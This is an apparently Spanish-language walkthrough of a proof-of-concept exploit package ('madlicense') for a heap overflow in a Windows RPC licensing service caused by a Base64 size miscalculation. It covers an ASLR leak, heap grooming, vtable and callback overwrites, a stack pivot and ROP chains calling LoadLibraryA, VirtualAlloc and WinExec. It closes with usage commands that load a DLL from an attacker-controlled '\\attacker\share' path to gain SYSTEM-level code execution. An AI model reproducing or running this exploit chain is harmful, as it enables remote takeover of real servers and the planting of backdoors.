┌─────────────────────────────────────────────────────────────┐
│  VULNERABILIDAD: Cálculo incorrecto de tamaño             │
├─────────────────────────────────────────────────────────────┤
│  1. Cliente envía datos Base64 de tamaño N                │
│  2. Servidor calcula: buffer_size = (N / 4) * 3            │
│  3. Servidor asigna buffer de 'buffer_size' bytes          │
│  4. Decode Base64 REALMENTE escribe: ceil(N * 3/4) bytes   │
│  5. Si N no es múltiplo de 4: ¡OVERFLOW!                   │
└─────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────────┐
│                      EXPLOIT CHAIN                              │
├──────────┬──────────┬──────────┬──────────┬──────────┬─────────┤
│  LEAK    │  MODEL   │  WRITE   │  GROOM   │ TRIGGER  │ EXECUTE │
│ (ASLR)   │ (Target) │ (Where)  │ (Heap)   │ (Use)    │ (RCE)   │
├──────────┼──────────┼──────────┼──────────┼──────────┼─────────┤
│ leak.py  │target_   │write_    │heap_     │trigger   │code_    │
│          │model.py  │primitive │controller│.py       │reuse.py │
│          │          │.py       │.py       │          │         │
└──────────┴──────────┴──────────┴──────────┴──────────┴─────────┘
          ↓                                              ↓
    ┌───────────┐                              ┌──────────────┐
    │ execution │                              │   payload    │
    │   .py     │                              │     .py      │
    └───────────┘                              └──────────────┘
          ↓                                              ↓
    ┌───────────────────────────────────────────────────────────┐
    │                    mitigations.py                         │
    │              (DEP, ASLR, CFG awareness)                   │
    └───────────────────────────────────────────────────────────┘
                              ↓
    ┌───────────────────────────────────────────────────────────┐
    │                      exploit.py                           │
    │                   (Orchestrator)                          │
    └───────────────────────────────────────────────────────────┘

# Pack/Unpack - Convertir enteros a bytes y viceversa
p64(0xDEADBEEF)      # → b'\xef\xbe\xad\xde\x00\x00\x00\x00'
p32(0x41414141)      # → b'AAAA'
u64(b'\x41\x42...')  # → 0x... (int)

# Patrón Cíclico - Para identificar offset de crash
cyclic(100)          # Genera secuencia De Bruijn
cyclic_find(pattern, value)  # Encuentra offset del valor

# Alineación - Memoria necesita estar alineada
align(0x1003, 0x10)  # → 0x1010 (alinea a 16 bytes)

Boot 1:  ntdll.dll @ 0x7FFA12340000
Boot 2:  ntdll.dll @ 0x7FFB98760000
Boot 3:  ntdll.dll @ 0x7FFC55550000

class LeakInfo:
    """Contenedor para direcciones filtradas"""
    heap_base: int         # Base del heap
    ntdll_base: int        # Base de ntdll.dll
    kernel32_base: int     # Base de kernel32.dll
    # ...

class LeakProvider:
    """Orquestador de fuentes de leak"""
    sources: List[LeakSource]
    
    def obtain() -> LeakInfo:
        # Intenta cada fuente hasta conseguirlo

class VulnerableBuffer:
    """El buffer que va a sufrir overflow"""
    allocation_size: int   # Cuánto se asignó
    write_size: int        # Cuánto se escribirá
    overflow_amount: int   # Diferencia = overflow
    
    def calculate_overflow(input_size):
        # Simula el bug de cálculo
        alloc = (input_size // 4) * 3
        actual = ((input_size + 3) // 4) * 3
        return alloc, actual, actual - alloc

class AdjacentObject:
    """Objeto que será corrompido (adyacente en el heap)"""
    fields: List[StructField]
    has_vtable: bool       # ¿Tiene tabla virtual?
    has_function_ptr: bool # ¿Tiene puntero de función?

# Objeto hipotético basado en análisis reverso
license_req = AdjacentObject(
    name="CLicenseRequest",
    typical_size=0x100,
    has_vtable=True
)

# Campos mapeados
license_req.add_field("vtable",   0x00, 8, VTABLE,   is_target=True)
license_req.add_field("refcount", 0x08, 4, REFCOUNT)
license_req.add_field("callback", 0x10, 8, CALLBACK, is_target=True)

class WritePrimitive:
    def build_overflow_data(self) -> bytes:
        """
        Construye buffer de overflow con valores precisos
        
        Layout:
        [PADDING hasta offset] [VALOR CONTROLADO] [MÁS DATOS]
        """
        data = bytearray(b"A" * max_offset)
        
        for target in self.targets:
            # Coloca valor exacto en el offset exacto
            data[target.offset:target.offset+8] = p64(target.value)
        
        return bytes(data)

# Sobrescribir vtable
write_primitive.set_vtable_overwrite(
    vtable_addr=fake_vtable_address,
    obj_name="CLicenseRequest"
)

# Sobrescribir callback
write_primitive.set_callback_overwrite(
    callback_addr=gadget_address
)

ANTES DEL GROOMING:
┌────┬────┬────┬────┬────┬────┐
│ ?? │ ?? │ ?? │ ?? │ ?? │ ?? │
└────┴────┴────┴────┴────┴────┘
Asignaciones aleatorias, agujeros impredecibles

DESPUÉS DEL GROOMING:
┌────┬────┬────┬────┬────┬────┐
│SPAM│SPAM│HOLE│SPAM│SPAM│HOLE│
└────┴────┴────┴────┴────┴────┘
Layout controlado, "agujeros" donde queremos

class HeapLayoutController:
    def execute_full_groom(self):
        # Fase 1: Rellenar agujeros existentes
        self.phase_fill(50)
        
        # Fase 2: Activar LFH para el bucket objetivo
        # (Windows activa LFH después de ~17 asignaciones del mismo tamaño)
        self.phase_activate_lfh()
        
        # Fase 3: Spray - crear patrón denso
        sprayed = self.phase_spray(200)
        
        # Fase 4: Crear agujeros estratégicos
        # Liberamos cada N asignaciones
        self.phase_create_holes(sprayed, interval=4)
        
        # Fase 5: Estabilizar
        self.phase_stabilize()

Estado actual:
- Memoria corrompida ✓
- Valor malicioso escrito ✓
- ¡Pero nadie USÓ ese valor todavía!

class PostCorruptionTrigger:
    strategies: List[TriggerStrategy]
    
# Estrategias implementadas:

class SecondRequestTrigger:
    """Hace segunda llamada RPC que usa objeto corrompido"""
    
class DestructorTrigger:
    """Desconecta - fuerza cleanup que usa punteros corrompidos"""
    
class TimerTrigger:
    """Espera timer interno procesar estado corrompido"""

1. Primera llamada RPC → Corrupción ocurre
2. Disconnect (trigger) → Server llama destructor
3. Destructor lee vtable corrompida → Llama nuestra dirección
4. ¡Ejecución controlada!

class HijackMethod(Enum):
    VTABLE = 0       # Más común en heap overflow
    FUNCTION_PTR = 1 # Callback pointer
    RETURN_ADDR = 2  # Stack overflow (no es nuestro caso)

OBJETO NORMAL:
┌─────────────┐
│ vtable* ────┼───→ ┌──────────────────┐
│ data...     │     │ method1 address  │ ← Legítimo
│             │     │ method2 address  │
└─────────────┘     └──────────────────┘

TRAS CORRUPCIÓN:
┌─────────────┐
│ vtable* ────┼───→ ┌──────────────────┐
│ data...     │     │ GADGET ADDR      │ ← ¡NUESTRO!
│             │     │ GADGET ADDR      │
└─────────────┘     └──────────────────┘

¡Cuando method1 es llamado → Ejecuta nuestro gadget!

# Gadget que cambia RSP a donde tenemos ROP chain
xchg rax, rsp; ret  # RAX = nuestra dirección → RSP = nuestra dirección

# ¡Ahora el "stack" es nuestra área controlada!
# Cada RET salta al siguiente gadget de nuestra ROP chain

Shellcode en heap → CRASH (access violation - execute)

GADGET 1: pop rcx; ret    ← Coloca valor en RCX
GADGET 2: pop rdx; ret    ← Coloca valor en RDX
GADGET 3: call LoadLibraryA ← ¡Llama función!

STACK/ROP CHAIN (nuestra área controlada):
┌────────────────────┐
│ addr de pop_rcx    │ ← RSP apunta aquí
├────────────────────┤
│ valor para RCX     │ ← Será "popado" a RCX
├────────────────────┤
│ addr de pop_rdx    │ ← RET va aquí
├────────────────────┤
│ valor para RDX     │
├────────────────────┤
│ addr LoadLibraryA  │ ← Finalmente llama!
└────────────────────┘

# Cargar DLL (DLL Injection)
build_load_library(dll_path_addr) → ROP chain

# Asignar memoria ejecutable
build_virtual_alloc(size) → ROP chain + RAX = dirección RWX

# Ejecutar comando
build_winexec(cmd_addr) → ROP chain

class PayloadIntent(Enum):
    CRASH_TEST = 0    # Verificar si explotación funciona
    DLL_INJECT = 1    # Cargar nuestra DLL
    COMMAND_EXEC = 2  # Ejecutar comando
    SHELLCODE = 3     # Ejecutar shellcode vía ROP

def build_dll_inject(dll_path: str) -> bytes:
    """
    Estructura final:
    
    ┌──────────────────────────────┐
    │ ROP Chain (LoadLibraryA)    │ ← Ejecuta primero
    ├──────────────────────────────┤
    │ Padding                      │
    ├──────────────────────────────┤
    │ "\\attacker\share\pay.dll\0"│ ← String de la ruta
    └──────────────────────────────┘
    
    La ROP chain pasa la dirección de la string a LoadLibraryA
    """

def adapt_exploit(config):
    if mitigations.DEP.enabled:
        config["use_rop"] = True      # Obligatorio
        
    if mitigations.ASLR.enabled:
        config["require_leak"] = True # Obligatorio
        
    if mitigations.HEAP_HARDENING.enabled:
        config["spray_count"] *= 2    # Más spray

┌─────────────────────────────────────────────────────────────────┐
│                    FLUJO DE EXPLOTACIÓN                         │
└─────────────────────────────────────────────────────────────────┘

   STAGE 1: LEAK (ASLR Bypass)
   ├─ Obtener direcciones de memoria
   ├─ Input: manual o auto-leak
   └─ Output: LeakInfo con bases de módulos

             ↓

   STAGE 2: ANALYZE (Target Mapping)
   ├─ Calcular overflow amount
   ├─ Identificar objetos adyacentes
   └─ Determinar offsets de corrupción

             ↓

   STAGE 3: GROOM (Heap Shaping)
   ├─ Fill → Activate LFH → Spray → Holes
   ├─ Crear layout determinista
   └─ Preparar "zona de aterrizaje" para asignación vulnerable

             ↓

   STAGE 4: PAYLOAD (Build)
   ├─ Construir ROP chain
   ├─ Incluir strings/datos necesarios
   └─ Combinar con datos de overflow

             ↓

   STAGE 5: CORRUPT (Trigger Overflow)
   ├─ Enviar llamada RPC maliciosa
   ├─ Causar overflow
   └─ Sobrescribir objetivo (vtable/callback)

             ↓

   STAGE 6: TRIGGER (Force Use)
   ├─ Disconnect o segunda llamada
   ├─ Forzar uso de puntero corrompido
   └─ Hijack de ejecución

             ↓

   STAGE 7: EXECUTE (RCE)
   ├─ ROP chain ejecuta
   ├─ LoadLibraryA carga DLL
   └─ ¡CÓDIGO ARBITRARIO EJECUTÁNDOSE!

             ↓

   ┌─────────────────────────────────────────────────────────────┐
   │  RESULTADO: Shell reverso, backdoor, etc. como SYSTEM      │
   └─────────────────────────────────────────────────────────────┘

pip install impacket

# Solo verificar si el servicio está corriendo
python -m madlicense.poc -t 10.0.0.5 --check

# Dry run (no envía payload, simula todo)
python -m madlicense.poc -t 10.0.0.5 --dry-run \
    --ntdll-base 0x7ffa12340000

# DLL Injection completo
python -m madlicense.poc -t 10.0.0.5 \
    --dll "\\\\attacker\\share\\payload.dll" \
    --heap-base 0x22345670000 \
    --ntdll-base 0x7ffa12340000 \
    --kernel32-base 0x7ffa12500000

# Ejecutar calc.exe (PoC clásico)
python -m madlicense.poc -t 10.0.0.5 \
    --cmd calc.exe \
    --ntdll-base 0x7ffa12340000